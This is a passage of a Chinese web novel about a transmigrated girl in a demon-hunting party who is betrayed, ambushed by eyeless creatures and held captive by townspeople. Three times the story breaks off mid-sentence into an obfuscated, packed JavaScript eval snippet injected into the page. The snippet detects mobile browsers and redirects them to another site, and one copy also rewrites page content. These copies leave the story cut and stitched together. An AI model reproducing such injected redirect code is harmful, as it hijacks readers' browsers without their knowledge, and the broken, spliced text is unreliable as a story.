这次张奶奶没再留他们,将人送出门之后,张奶奶还不忘嘱咐他们说夜晚正是那香铺闹鬼的热闹时候,让他们一定要避开那铺子。 周夏莲嘴上答应下来,但转身就和裴瑾对视一眼,还是决定要去那铺子瞧瞧。 她原本是想和裴瑾两人前去,让其他人回客栈休息,但除了傅怀玉身体有些不舒服不跟着去以外,吃饱喝足的周春和吵吵着要去,谢斯年是一直跟着周夏莲的,也就要跟着一起过去。 周夏莲没办法,关心了傅怀玉两句,让他赶紧回房休息,便也就准备带着周春和和谢斯年一同前去了。 周春和听了傅怀玉的话倒是还有些疑惑,不知道傅怀玉刚刚玩毽子的时候看着还好端端的,为什么吃了顿饭这身体就忽然开始不适了。 傅怀玉不管是何时都是以最妥帖的模样示人的,所以即便是他已经努力维持自己平常的模样,但他有些苍白的脸色还是让周春和敏锐的察觉到他现在的状态似乎不太好。 仔细想想,这个症状从刚刚吃饭时就有了,也就是说,傅怀玉是从那时忍到现在的么? 可他刚刚为什么不说呢?非得等到现在——实在是受不了的时候才满含歉意的开口。 周春和想多问,但傅怀玉已经先离开了。周春和看着他离开时的背影,觉得和平常没有什么分别,只不过脚步更慢了一点。 她皱了皱眉,一种异样的感觉在心里升腾起来。她想,一会儿回去之后一定要仔细问问傅怀玉到底是怎么回事。她此前似乎从未听说过傅怀玉的身体有什么旧疾,同行的这段时间,她也不曾见过傅怀玉不对劲的时刻。 打定主意之后,周春和也没再多想,开始专注眼前的事情。 一行人很快来到了幽香居前,夜色里幽香居暗影幢幢,比白日里更平添了一丝诡异和阴森。 有时候有夜风吹过,风声呜呜,如泣如诉,听着无比瘆人。 周春和咽了一口唾沫,心里有些发毛。 但见惯了这种场景的真正猎妖人的周夏莲和裴瑾倒是不觉得有什么,一左一右推门进去了。 裴瑾点燃一根火折子,将房间里那几根用了大半的蜡烛点燃,一楼登时亮如白昼。 几人在房间里转了一圈,这和白天他们来的时候没有什么变化。 路过霄无缺白日里躺着的那根横梁,周春和还忍不住抬头看了看,但横梁上早已没有霄无缺的影子。 一楼实在是找不到什么有用的线索了,周夏莲和裴瑾便想着去二楼瞧瞧。 周春和没跟着去,就在一楼转悠。谢斯年也被周夏莲留在了一楼保护周春和。 周春和在房间里转了转,但不管走到哪里,那种被人窥视的感觉都没有消散。 这种被人注视着的感觉和她白天呆在这里的感觉一模一样,让周春和浑身发毛的同时,又觉得非常的不舒服。 她缩着脑袋挪到谢斯年身边,白天吃饭的时候那个“一定不要靠近谢斯年免得不知道做了什么事情就被他记恨上”的念头早已经不知道被扔到了哪个角落里。她挪到谢斯年身后,偷摸的拽着他腰带上挂着的辟邪符。感觉到腰间那股拉力,谢斯年一回头,对上了周春和刻意挤出来的讨好地笑:“我们一起走,一起走更安全。” 谢斯年似乎已经习惯了,每次周春和拽他的位置都非常地固定,要么是腰带,要么是腰带上挂着地东西。 他已经习以为常。 在房间里转了一圈,除了呜呜的风声和被风吹得忽明忽暗的蜡烛之外,周春和没有再找到其他东西。 她一直绷紧的神经也逐渐放松下来,人以放松,话也就跟着多了些:“哎,谢斯年,你觉得这经久不散的香味是从哪里来的?” 谢斯年懒洋洋的回答:“不知道。” 周春和凶巴巴的皱起眉头,不满地说:“所以才说‘你觉得’嘛!” 谢斯年微微一笑,微微侧头看向周春和,正要说话,忽然脸色骤变,左手拉着周春和闪开,另一只手迅速从怀中掏出一张符纸。 电光石火间,一道灰色的身影破空袭来,手作鹰抓勾状刺向刚刚两人所在的位置! 谢斯年侧身闪开的同时,一张符纸将那东西拍飞了出去。 周春和惊魂未定,张大嘴巴呆滞的看着那到飞出去的身影,惊讶地发现这竟然和白天他们在小巷子里遇见的那个人无眼人一模一样! 不,也不能说是一模一样。虽然这个人也是浑身腐烂,也没有眼睛,但仔细观察,在衣服和样貌方面还是和那个无眼人有所差别的。 如果刚刚谢斯年的反应再慢一点点,那么周春和就看不见明天的太阳了。 周春和吓得心脏突突直跳,好半天都平复不下来。她手脚冰冷,因为劫后余生的极度惊慌,浑身都忍不住微微的颤抖。正要说话,就在这时候,二楼传来周夏莲一声短促的惊叫。 周春和脑袋“轰”的一声,一旁的谢斯年也立刻变了脸色。 两个人下意识要往二楼跑,但门忽然被人从外面踹开,紧接着,无数黑幢幢的身影贴着墙壁悄无声息的如潮水般涌了进来。 待看清来的东西之后,周春和霍的变了脸色。 隐匿在黑暗之中鱼贯而入的竟然是数不清的无眼人! 无眼人的数量密密麻麻,一时间真数不清有多少个。联想到在那个巷子仅凭一个无眼人就能把谢斯年逼得开大,周春和一见现在有这么多个,脑子里只剩下四个大字——完犊子了。 二楼的情况不知道怎么样,但从刚刚的情况来看,一向沉着镇静的周夏莲都被吓到了,显然也不太好。不过他们此刻也已经分 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谁也没看见她是怎么在混乱里行动的,所以等她在无眼人身后大喝一声的时候,所有人都被她吓住了,无眼人全部像是被拍上了定身符,全都保持着身体不动头扭向周春和的诡异姿势。 谢斯年反应极快,只愣了一瞬间就立刻明白了周春和的意图。 他趁着无眼人怔愣之际,拿出符咒狠狠的拍在前面那几个无眼人身上。 周春和还以为这又是什么定身符,可是很快她就惊讶的发现贴上符纸的人表情无比狰狞,发出一种像是毒蛇般“嘶嘶”的瘆人声,然后纷纷倒地不起。 这是什么符? 周春和心中大惊,第一反应是谢斯年你小子有这么厉害的符纸白天在那个小巷子里怎么不拿出来用。第二反应是,不对!这不是普通的符纸! 周春和虽然大部分时间都在跟着主角团“混吃等死”,但实际上她逮住机会就会汲取这个世界特有的知识——比如符纸什么样的好用,符咒又该怎么画好,其中她发现了一件事情,那就是在黄色的符纸上,大家一般用墨色画符咒。这也是最常见的一种画法。 而那种白纸丹砂画出来的极其少见,周春和只在古籍记载上见过,这种符咒叫“汨罗咒”,这不是正派猎妖人会的符咒,因为这种符咒是以自身的鲜血画就,其中参杂了妖力,若是使用不当,极有可能被符咒反噬,成为人不人鬼不鬼的怪物,所以正派猎妖世家从来不用也不允许门下弟子使用。 据说这种符咒是从前那些妖魔鬼怪见猎妖人都会画符,所以心生羡慕,想要模仿着猎妖人画符。但那些妖精本身就带着邪性,再加上他们模仿的只有其形没有其神,所以画出来的符纸很邪气,后来即使是妖怪不用这些符咒了,但是这些带着邪性的符纸还是在古籍上流传了下来。 周春和虽然在书上见过,但是在现实中还从来没有见到。 这种符咒需要妖力催动,也就是说……周春和紧张的看向谢斯年,他正咬破自己的手指,以鲜血画符。 她闭了闭眼睛,咬牙叹了口气。罢了,现在这个时刻,她根本无暇顾及谢斯年到底用什么画符了,哪怕是从外面的牛粪她都不介意,只要这符真的有用就行了。 她在房间里面上蹿下跳的吸引无眼人的注意,谢斯年就一张张把符纸拍上去。 无眼人纷纷一脸惊惧的化成齑粉,但似乎前人的死亡并不能阻止后面人的“飞蛾扑火”,仿佛是无穷无尽的无眼人踏着黑暗朝小屋内涌了进来。 照这个势头下去,谢斯年哪怕是把血流干了也画不了这么多的符。 无眼人显然准备采用“人海战术”,前仆后继,前面的人倒地之后,后面的人紧接着就涌上来。她就算是再好的体力也经不住这样折腾,很快就累得气喘吁吁。 作为吸引火力的主力的谢斯年的情况比她更差,他的胳膊上和胸口已经出现了许多伤痕,如果不是因为他穿的黑衣服看不出血迹,那么他肯定比现在还要狼狈。 周春和看不出谢斯年的伤势到底如何,只能通过他衣服上的破口来判断他受了多少伤。 但谢斯年现在的情况显然不是很好,在他无暇顾及周身情况时,一个无眼人趁他不备,以手作刃捅穿了他的肩头。 43. 阴阳城 血液滴滴答答的顺着那个无眼人的手掌落下,虽然谢斯年一掌将那无眼人拍飞了出去,但那伤口却是实打实的留下了。周春和远远的看着都感觉到一阵肉疼。 无眼人越来越多,这样下去谢斯年肯定会撑不住的。 周春和手上的符纸也快用完了,周夏莲那边也不知道情况如何,但就冲下面打成这样周夏莲和裴瑾都没有下来这一点来看,周夏莲和裴瑾估计也已经自身难保。 怎么办?他们似乎已经陷入了绝境。 这可如何是好。 周春和吸引无眼人的注意吸引的焦头烂额的同时,一边忍不住频频往谢斯年那边投去担心的目光。 谢斯年要撑不住了,他身上几乎全是伤口,脸上也溅上了自己的血渍,眼神肃杀,看着残破不堪又异常瑰丽妖艳。他替周春和挡住了大部分无眼人的攻击,所以周春和身上仅仅只有几道不轻不重的划痕而已。 因为大量使用自己的鲜血画符,再加上每次画符都要引出一部分妖力,所以谢斯年现在的状态有些不对劲。他的脸色有种失血过多的苍白,但是眼眶却是红的。这是妖力外泄的特征之一,他大量使用妖力,带来的后果就是即将到达那个被妖力控制的临界点。 再继续下去谢斯年会被妖力完全控制,变成一个只知杀戮的怪物。但此刻谢斯年没有办法停止画符,因为一旦停下,如潮水般源源不断的无眼人就会立刻把他们吞噬。 眼见谢斯年的眼眶越来越红,陷入一种近乎癫狂的状态,周春和也变得极度焦躁起来。 谢斯年还要继续画符,周春和直觉不好,隔着人潮朝谢斯年大叫一声:“等等,谢斯年!” 谢斯年的动作停滞了一瞬,下意识抬头看向周春和。 周春和边躲边大声说:“这无眼人不对劲,你有没有发现他们比白日里我们瞧见的更加、更加……” 更加凶狠可怕。 白天那个起码还给了他们喘息的机会,可现在这些无眼人像是完全变了一样拼了命的想将他们全部杀掉。 而且有一点非常奇怪,周春和大叫:“谢斯年,有一点很不对劲。我刚刚躲的时候仔细观察过这些人的眼眶,他们的眼睛都是被后来剜去的,剜去一个两个还好说,但为什么要这么巧的要把所有人的眼睛都剜去?你有没有见过什么秘法……就是那种、那种通过眼睛可以控制人的?” 周春和在巫山谷的时候偷偷看过很多古籍打发时间,所以对谢斯年画的符啊用的符咒啊都还有一定的了解,她穿过来之后只来得及在巫山谷带了十几天尚且能看过这么多,那谢斯年在巫山谷呆了这么几年,知道的一定比他更多。 周春和通过这几日的相处观察过谢斯年,发现他和她一样,是那种会学习的人,只要有机会,他愿意并且有能力花时间在学习上。不过谢斯年似乎比他在符咒一事上更有天赋,这也是可以理解的,毕竟周春和再怎么说也是“穿越”到这个世界的,对这个世界的规律尚且出于一知半解的状态,所以上手难也实属正常。而谢斯年已经这里的“土著”了,他从小接触这些,又被灌过这么多的妖力,能力自然在周春和之上。 谢斯年看过的古籍一定在她之上,所以周春和虽然不了解这是什么秘法,但说不定谢斯年恰好看到过。 正当她包含期待的看向谢斯年的时候,却见对方看也没看她,漠然的简直不像同一个人:“不知道。” 周春和有点生气——都这个时候了还要装杯杯吗?但她很快反应过来,谢斯年的状态应该和白天在巷子里一样,脑子已经被那妖力控制了一半。 她心想,好嘛,完蛋。 谢斯年正常的时候说不定还有机会,但现在谢斯年整个人都不对劲,又有无眼人丝毫不给喘息机会的攻击他们,谢斯年哪里能分神想这些? 而且……而且最近谢斯年使用妖力的频率是不是有点太高了?自从第一次在她面前开始使用妖力之后,他似乎就不再顾忌,这样下去可不行,这样下去他迟早会被妖力反噬。她得想个办法阻止谢斯年这么频繁的使用妖力。 就在周春和胡思乱想的时候,谢斯年忽然停了一瞬,紧接着,他拿出一张空白符纸,依然用自己的血在上面开始画符。但周春和敏锐的察觉到谢斯年现在画的符和之前那个又不太一样。 正当她思索谢斯年准备干什么的时候,忽然听见楼上传来一阵刀剑落地的声音,紧接着似乎听到了裴瑾大叫了一声“周夏莲”。 先前因为周春和专心于不被无眼人捉住,再加上一楼打斗的声音直冲天灵盖,几乎能完全盖过二楼的声音,所以除了刚刚周夏莲短促的叫了一声之后,她一直没能留意到二楼的动静。 此刻静下心来,她能听出裴瑾的声音里带着明显的慌乱,这不符合裴瑾平日里那总是云淡风轻言笑晏晏的风格,想必一定是周夏莲遭遇了什么不好的事情,才让一向稳重的裴瑾慌了手脚。 周春和心里一紧,心急如焚之下一时失神,在没有防备的时候,被无眼人一刀划伤了胳膊。 她吃痛的闷哼一声,却不敢耽搁,打了个滚窜走了。 再一抬头,周春和看见谢斯年已经将符画完了一半。 在裴瑾叫了一声“周夏莲”之后,谢斯年似乎一直有些心不在焉。周春和知道他和她一样不放心周夏莲,一个无眼人显然也发现了谢斯年的不在状态,从他背后高高举起手刃准备偷袭。 谢斯年似乎全无防备,周春和却看见了,那时她离谢斯年极近,几乎是想也不想就朝谢斯年扑了过去,将谢斯年推开了。 不过她自己却因为惯性没能及时躲开,被无眼人刺伤了后背。 周春和肾上腺素飙升,那一瞬间是完全感觉不到疼痛的。 等她从地上跃起来远离这个是非之地时,一转头发现谢斯年已经面无表情扭断了那个伤了她的无眼人的脖颈。 与此同时,谢斯年手里的符也完全画好了。 他瞥了她一眼,不知道为什么,周春和从这个只维持了短短一瞬间的眼神里看出了一种不同寻常的味道来。 没等她多想,谢斯年将符咒燃了起来,霎那间,以符咒为圆心,谢斯年周围圈出一个淡蓝色光圈,将谢斯年整个围在里面。周春和正好奇这光圈是干嘛,但很快她就知道了——光圈将无眼人牢牢隔绝在外面,这竟是一个护身符! 周春和大喜,正要朝谢斯年开口说什么,却见谢斯年又淡淡的看了她一眼,然后毫不迟疑地转身朝楼梯口的方向走。 周春和大惊失色,她从谢斯年最后那个眼神中察觉到了不对劲,慌乱之下她大叫谢斯年的名字,但谢斯年从始至终都没有再回头。 周春和咬了咬牙,那些无眼人见破不开谢斯年的护身咒,便只好退而求其次,纷纷转向了周春和。 周春和欲哭无泪,她赶紧摸了摸装符纸的小荷包,想看看自己还剩下几张符纸,但是一打开她就傻眼了,荷包里竟然一张符纸也没剩下。 这不对啊,刚刚她扑向谢斯年之前明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你为什么非要看着我死掉才开心? 我也真是操了。我恨这个世界。 盛怒之下周春和简直想破口大骂,但她再愤怒也于事无补,谢斯年拿走了她所有的符纸,只挑衅般的把辟邪符扔给了周春和,现在周春和手无缚鸡之力,哪里是这些无眼人的对手? 不仅如此,谢斯年还在一旁悠哉游哉的模样,完全没有出手相帮的意思。 ——还出手相帮呢,他摆明了是想借着这次机会杀掉周春和。谢斯年不忙倒忙就不错了,周春和真的不敢再奢望谢斯年会帮她。 等待周春和的下场似乎已经清晰明了,那就成为其中一个无眼人的刀下亡魂。 对于这种死法,周春和不甘心,很不甘心。她宁愿自己死于男女主手里,起码还能推动剧情发展,但她如今却就这么不明不白的死在这一堆无足轻重的无眼人手里,甚至连这一切究竟是怎么回事都还不知道……她实在是不甘心! 明明昨天她才刚开心的发现傅怀玉的好感度已经到了百分七十,明明她马上就可以回家了,可是不过只过了短短一天的工夫,一切就都变了。 谢斯年!周春和咬牙切齿的看着面无表情的谢斯年,她在心里恨恨的说,别让我再逮住你,否则我一定亲手打死你! 呸,这系统哪里是给她找了一个攻略对象,这他喵的是给她找了一个杀父仇人吧??! 周春和再愤愤不平也没有任何用处,她一个人根本抵挡不了这么多人的攻击。在被围攻的时候,周春和咬着牙准备肉搏,可就在这时候,她忽然感觉到一阵不对劲——她眼前忽然有些发黑,并且这股头晕目眩的感觉来的极快、极猛烈。一阵难受的眩晕感过后,她睁开眼睛只觉得天旋地转,连站都站不直。甚至不用周围的无眼人动手,周春和眼前一黑,自己晕了过去。 44. 阴阳城 傅怀玉刚一出门就察觉到了不对劲。 城中实在是太安静了,安静到近乎诡异的地步。 偌大的街道不闻一点声音,人声、鸡鸭声,甚至是鸟虫声都听不到一点,似乎就连风经过这城时也会放缓脚步。 傅怀玉皱了皱眉,不知道自己只是在客栈中休息了几个时辰,出门怎么就变成这样了。 自从不知道是累的睡着了还是疼的晕过去了之后,他这一觉睡了整整两个时辰。出门时天已经完全黑了,但周春和他们还没有回来。 傅怀玉第一反应就是他们遇到了棘手的事情,所以穿戴完毕之后,就直接抄最近的小路走向幽梦居。 但这一路上极其安静,仿佛整个城池都被黑暗吞没,寂静到让人浑身不舒服。 傅怀玉走了一会儿,终于还是调转脚步,想去最近的人家看看到底是什么情况。 恰好他旁边就是里正家,傅怀玉想敲门,可是刚抬手碰到了那扇木门,谁知道门就自己打开了。 门与地面摩擦发出的“吱呀”声是寂静的夜晚中唯一的声音,傅怀玉垂下眼皮,眸中闪过一丝异样的情绪,不过又很快抬起头,推门走了进去。 院子里寂静无比,和白天的欢声笑语形成鲜明对比。 傅怀玉刚一进院子,就感觉到了一丝不同寻常的气息。 他对着空荡寂静的院子露出一个礼貌的笑:“冒犯了。” 说着边抬脚走进了房间。 房间里面没有开灯,同样安静的诡异。 傅怀玉拿出火折子点燃房间里的油灯,借着这点光看清了房间的全貌。 水槽边放着白天用过的碗筷,水漫过了碗碟,但是碗筷都还没有洗。他们玩过的沙包和毽子全都放在了墙边,用过的桌子和板凳也都收了回来,什么都是白天的样子,除了没有人。 傅怀玉在房间里转了转,又打开放铺盖被褥衣裳的箱笼瞧了瞧,里面空空如也。 不止箱笼空空如也,柜子、抽屉、厨房也全都空空如也,不像是有人居住的样子。那些没洗的碗筷和玩过的毽子就像是给这份冷清画了一个表面浮华的装扮,掩盖内里的空虚。 傅怀玉想起了白天的那个小女孩,可房间里没有一点孩童用的东西。 这不对劲。 傅怀玉的视线扫过床边的那个小桌子,桌子上放着一碗茶,茶水还冒着热气,傅怀玉走过去摸了摸,水是温热的,也就是说,半个时辰之内还有人在这里,他们是刚离开不久的。 傅怀玉从院子里离开的时候不忘仔细关好门,然后边去往下一家。 最后傅怀玉得出结论,不管是哪一家都没有人,并且也没有居住过的痕迹。 他们去干嘛了?白天虽然有种诡异的热闹,但起码也算是热闹,城中人口少说也有几百,而现在则是寂静的瘆人。 这些人为什么一夜之间会忽然消失?他们去哪了? 为什么城中各家各户都不曾有过住人的痕迹?……还是说,他们白天看到的,其实并不是……人? 里正家甚至是晾好了茶水才出的门,也就是说他笃定自己还会回来,说不定回来的时候茶正好凉了,回来就可以喝水。那么他是去哪了? 什么情况下会让大家同一时间出门,但又不是因为逃命或者是突发事件? 里正家既然能不慌不忙的倒上茶水备着,那就说明事情并不紧急。既然如此,究竟是什么情况需要出动全城的人马? 傅怀玉想到了幽香居,知道一切的根源一定还是在那里。 周春和他们现在应该也还都在那里,他想知道的答案应该都会从那里得到。 · 周春和是被人用冷水泼醒的。 她的眼睛虽然是迷迷瞪瞪的勉强睁开了,但是眼神还没完全聚焦,看东西一片模糊,缓了好半天思绪才完全清明。 她愣了三四秒,后知后觉反应过来刚刚发生了什么,眼睛瞬间瞪大——等等……她还活着? 还没等她从“活着”的巨大惊喜中缓过神来,她忽然发现自己的四肢被铁链牢牢地锁在了一根石柱上。她惊恐的左右查看,这才发现自己此刻身处一个巨大的溶洞之中。洞中各处燃着蜡烛,整个洞内亮如白昼。 拴住她的链子绞的极紧,周春和只能活动手指,手腕往上的部位就一动也动不了。 洞中只有她自己,并没有那些无眼人的痕迹。周春和后知后觉的有些疑惑——她怎么到这儿来了? 刚刚那些伤害她的无眼人呢? 是谁把她从无眼人手中救下来、又为什么要把她绑在这里? 周春和想到了自己昏倒之前的事情,在彻底晕过去之前,周春和看见的最后一个景象是谢斯年那张漠然的脸。 对了,谢斯年! 想到这家伙,周春和顿时就气不打一处来。 她永远也忘不了谢斯年是怎么漠然的推她出去送死的,更忘不了她一心想要去救谢斯年,结果谢斯年却恩将仇报,在她出手相救的时候趁机把她身上的符咒拿走了,导致她后来孤立无援,这才陷入被无眼人围攻的绝望境地。 周春和知道谢斯年为什么忽然翻脸——虽然她再三和谢斯年保证,不会将谢斯年的秘密说出去,但对谢斯年这种腹黑病娇来说,她的口头保证并不能证明什么,空口无凭,他不信她。 所以他要借助这次混乱悄无声息的杀掉她。 只有这样,周春和的死才是没有破绽的,毕竟今夜情况危急,周春和手无寸铁,是最有可能死掉的那个,所以她死在这里合情合理,合法合规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576650|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢斯年不仅能将自己摘出去,而且出去之后还可以胡编乱造。反正周春和又不能“起死回生”,到时候事实如何全凭谢斯年的一张嘴。 而周春和深知谢斯年的本性,知道把黑的说成白的对谢斯年来说简直就是“大材小用”。 周春和想到了晕过去之前谢斯年那厮移动的方向是楼梯,心中不禁一阵绞痛——可怜她辛辛苦苦攻略谢斯年攻略了这么久,结果她依然不是那个值得谢斯年停下脚步救一救的人,就连顺手也不行。她不求成为谢斯年心里的第一选择——她完全不介意谢斯年把周夏莲放在第一位,因为周春和对周夏莲的爱不比谢斯年少。但她只是想让谢斯年分清爱情和亲情,她希望谢斯年能分清楚自己对周夏莲的爱到底时出于亲情还是出于爱情。 虽然她嘴上说着要远离这个睚眦必报的病娇,但实际上她也就只是嘴上说说而已了,她并没有真的远离他,而且一直把他和傅怀玉一视同仁——人家傅怀玉多么的好,能把两个人相提并论真是给谢斯年开了大大的特权!甚至!白天的时候她甚至还刚给谢斯年夹了菜! 靠靠靠。 周春和想起那块自己没吃上的鸡肉都觉得自己吃了屎。 把鸡肉给谢斯年,还不如把鸡肉拿去喂狗,起码狗不会坑她害她。 没想到都到这个时候了,谢斯年最后想的还是除掉周春和去救周夏莲。 这不就是说明她这么久以来的努力全部白费了? 关键时刻最能证明人心,现在的谢斯年始终没有看清楚自己的心意,那她究竟还能不能成功攻略下谢斯年? 甚至是,谢斯年对她已经不信任到了要杀掉她才能心安的程度……她连顺利取得谢斯年的信任都做不到,还怎么继续攻略他? 周春和想到这里就觉得气不打一处来。 虽然她接近谢斯年确实别有用心,但她既没有坑蒙拐骗也没有强迫谢斯年什么,她甚至也付出了同等的真心。但真心最后却换来了这样的结果,谢斯年这厮的罪行简直是罄竹难书。 她觉得自己这么久的真心全都喂了狗。 虽然想到最后她自己忽然昏迷过去的时候,周春和也感觉到有些不对劲,因为按照实际情况来说,她应该被无眼人打晕,而不是最后自己莫名其妙的晕过去。但此时怨恨谢斯年的心情已经到达了顶峰,她根本分不出心思去想别的。 还没等周春和义愤填膺的在心里罗列出谢斯年的一百零八条必死之罪,洞口就响起来了一阵凌乱的脚步声。 溶洞内的蜡烛被带进来的风吹得忽明忽暗,这动静一下子把周春和从专心致志的思索中拉了出来。 她半是紧张半是好奇的盯着洞口,想见见救下自己的到底是谁,谁知道却看见了一个完全出乎她意料的人。 45. 阴阳城 来的人竟然是张奶奶,跟在她身后的是里正、里正娘子,还有白天在城中见到的那些所谓的“居民”。 怎么个事儿? 周春和还没反应过来,还以为是他们是来救自己的,下意识问道:“你们怎么找到这儿来的?” 张奶奶慈祥的笑了一声:“哦,我们听见这边有打斗声,就循着声音找了过来,没想到找到了你。” 周春和大喜过望:“那真是巧了,那你们快过来帮我把绳子解开吧。也不知道是谁给我绑的,绑这么紧,我血液都不流通了……” 张奶奶只是诡异的笑着看她,并没有动作:“没事儿,以后你就再也不会疼了。” 这句话终于让周春和觉得不对劲起来。 她脸上的笑容慢慢僵硬了,安静了两秒,终于反应过来什么:“……难道是你们……?” 张奶奶哈哈大笑起来,和白天她有气无力的模样完全不同:“终于发现了啊,小姑娘,你可比我想象中的迟钝多了。” 周春和:“……” 关她就关她,为什么还要夹枪带棒的骂她一句? 周春和看着眼前的形势,镇定的分析了一下,很快在脑海中理清了脉络。看来那些无眼人充其量只是一个“帮凶”而已,真正的幕后主使是这城中人。城中人靠着这个弄虚作假的香铺哄骗猎妖人过来,然后靠着控制无眼人攻击他们,最后将这些猎妖人全部“瓮中捉鳖”,手到擒来。 周春和没想着自己就这么稀里糊涂的当了一回这个“鳖”,更没想到幕后真凶是这些她真心信任的居民。 想到他们还一起吃饭喝酒、一起踢毽子砸沙包、一起逗小孩,结果就在周春和真心相待,甚至想要帮他们清理掉城中的怨灵之时,他们却从背后狠狠地捅了她一刀。这比让仇人杀了自己都难受,周春和想到自己对待他们的真心,顿时觉得有些郁闷。 不过想通这个关节之后,很多事情也就跟着水落石出。 怪不得全城人口供一致,怪不得似乎所有人都在若有若无的把他们往这个幽香居引,敢情这里面有大埋伏啊。 周春和想起了什么,忽然厉声质问张奶奶:“与我一道前来的其他人呢?我阿姐呢?” 张奶奶仰天长笑:“他们?全都被我杀掉了,现在就差你自己了。你还有空关心其他人,我看你还是多关心关心自己吧,自己都要小命难保了,还是多想想要以何种姿态死亡才好。” 周春和看着状似癫狂的张奶奶,额上后知后觉的落下一滴汗。 她并不相信张奶奶的话,她不信周夏莲就这么死了,她更相信其他人已经顺利逃了出去。 不过如今她被绑在这里,多想无益,眼下最重要的是自己如何逃出去。只有自己逃出去了,才有机会瞧瞧其他人的情况。 可她该怎么逃出去呢? 溶洞内除了洞口一出可以进出的地方之外,再无第二个可供进出的地方。溶洞腹大口小,里面完全密封,而周春和的手脚都被牢牢的绑住,丝毫动弹不得。就算是有出口供她逃跑她也有心无力。 再说了,前面张奶奶之流乌泱泱的堵在了洞口处,想要离开,不禁要挣脱手链脚链,而且还要以一己之力打败这么多人。 既然整个城里的居民都是一伙的,那么想来外面还有人守着,所以光解决里面的人还不够,说不定还有外面的,以及不知道什么时候就会窜出来的无眼人。 周春和虽然不知道这些人是怎么驯服无眼人又是怎么控制他们的,但是能猜出一定是用了某种禁术。 这可如何是好啊?周夏莲和裴瑾情况不明,指望他们应该是不可能了。 谢斯年那厮……呸!指望狗都不指望他。 那就只剩下没有和他们一起出来的傅怀玉了。 傅怀玉会不会发现情况不对过来救她? 但周春和很快也否定了这个可能。 先不说不知道傅怀玉现在身体如何,哪怕是退一万步来说,他能及时醒了过来,及时发现了不对劲,那估计一时半会儿也很难顺利找到周春和。 此前在城中打探情况时,周春和从未见过类似的溶洞,但她能猜到自己已经不在幽香居了。她不知道自己被转移到了哪里,甚至不知道自己还在不在阴阳城里,就连她这个当事人都没头绪的事情,怎么能指望对真实情况一无所知的傅怀玉? 试想一下如果她发现一摊狼藉的幽香居第一反应是什么?一定是他们已经遇害了。 就算是傅怀玉坚持寻找他们,估计也是上天无路入地无门。 怎么办? 没有金手指的周春和后背开始细细密密的冒汗。 她在脑子里大声呼叫系统,谁知道系统这时候装高冷去了,根本不搭理她。 周春和急火攻心,险些呕出一口血来。这破系统又装死是吧?一到性命攸关的时候它就装死,一到哄骗她做任务的时候,又装的那么热情好客……X的,死系统,把你和油一起放锅里,看油溅还是你溅。 系统是完全指望不上了,这下该怎么办啊? 没有符咒、动弹不得、内忧外患……周春和欲哭无泪,想一头撞死都找不到合适的石头。 唉……她本来还想扶额苦笑装深沉,想抬手才发现自己动不了,于是只好光苦笑。 倒霉到这种地步也只能假装释然的笑一笑了。 张奶奶没给她拖延下去的机会,笑眯眯的抬了抬手,范绍立刻恭恭敬敬的呈着一个长方形的木碟过来了,周春和抽空看了一眼,碟子上放着一柄尖刀、一碗红色的不知名液体和一张白纸红字的符咒。 尖刀上还有已经干掉的血迹,而那个碗里的猩红液体里似乎还有什么其他东西在蠕动。 周春和吓得脸上故作深沉的面具差点破裂,张奶奶没给她哀嚎的机会,她又抬了抬手,笑的一脸核善:“先把她的眼睛剜出来吧,这可是绝佳的容器。至于剩下的,你们就看着玩吧。把人弄死了之后,别忘了炼成无魂人。” “是,属下遵命。” 范绍一脸贼笑的拿着尖刀朝周春和走来,周春和瞪大眼睛惊恐的看着范绍一脸寒意的离自己越来越近,脑子转到快要冒烟,疯狂的思索还有什么逃脱的办法。 妈的,这场景也太有宿命……索命感了,她在巨大压力之下大脑空白,根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一瞬间,仿佛有什么东西轻轻包裹住了她的全身,她有股瞬间的放松,就像漫步在雨后的森林,遨游在清澈的湖中,感觉自己又像是一只灵动的鸟雀,采摘雨后的鲜果,坐在草原上,遥眺着水平线,整个人犹如化成一滩潭水,缓缓流逝,慢慢平静。 她确定,这就是心动的感觉。 等等……心动?好像有什么地方不对劲? 算了,不管了,先爽了再说。 张奶奶抛却理智,柔情似水的朝周春和投去一个饱含深情的目光。 周春和:“?” 大妈,你正常点,我害怕。 但很快周春和的害怕就变成了惊悚。 洞内不管是男女还是老少,只要不小心看到了周春和,那么就像是着魔了一样被周春和吸引了视线,齐刷刷用一副看痴了的模样看着周春和。 甚至是在周春和试探着开口让他们帮自己把锁着手脚的铁链打开,他们也全都照做了。 ——甚至还是张奶奶和他们打了几架才抢到的亲手帮她打开的名额。 周春和:“……?” 这对吗? 46. 阴阳城 “周姑娘,这都是我们亲自酿的好酒,来,您来尝尝这个。” “不行,得让周姑娘先尝尝我的,我这可是亲手做的桃花糕。除了我这里,这普天之下你再也找不到第二个地方能吃到了。” “这是哪里话!周姑娘被绑了这么久,怎么能一上来就吃这种噎人的糕点?先来尝尝我的酒酿吧,还加了浮圆子,这可是顶顶好吃的。” 大家争先恐后,生怕自己手里的东西送不到周春和手中。 周春和呢,正悠哉游哉的躺在溶洞内唯一一块玉床上,这玉床乃是采用天然玉石做成的,卧上去冬暖夏凉,此刻清清爽爽的好不舒适。周春和单手支着脑袋,嘴边有人守着亲自喂葡萄,身前有人托着玉盏等着接周春和吐出来的葡萄籽。 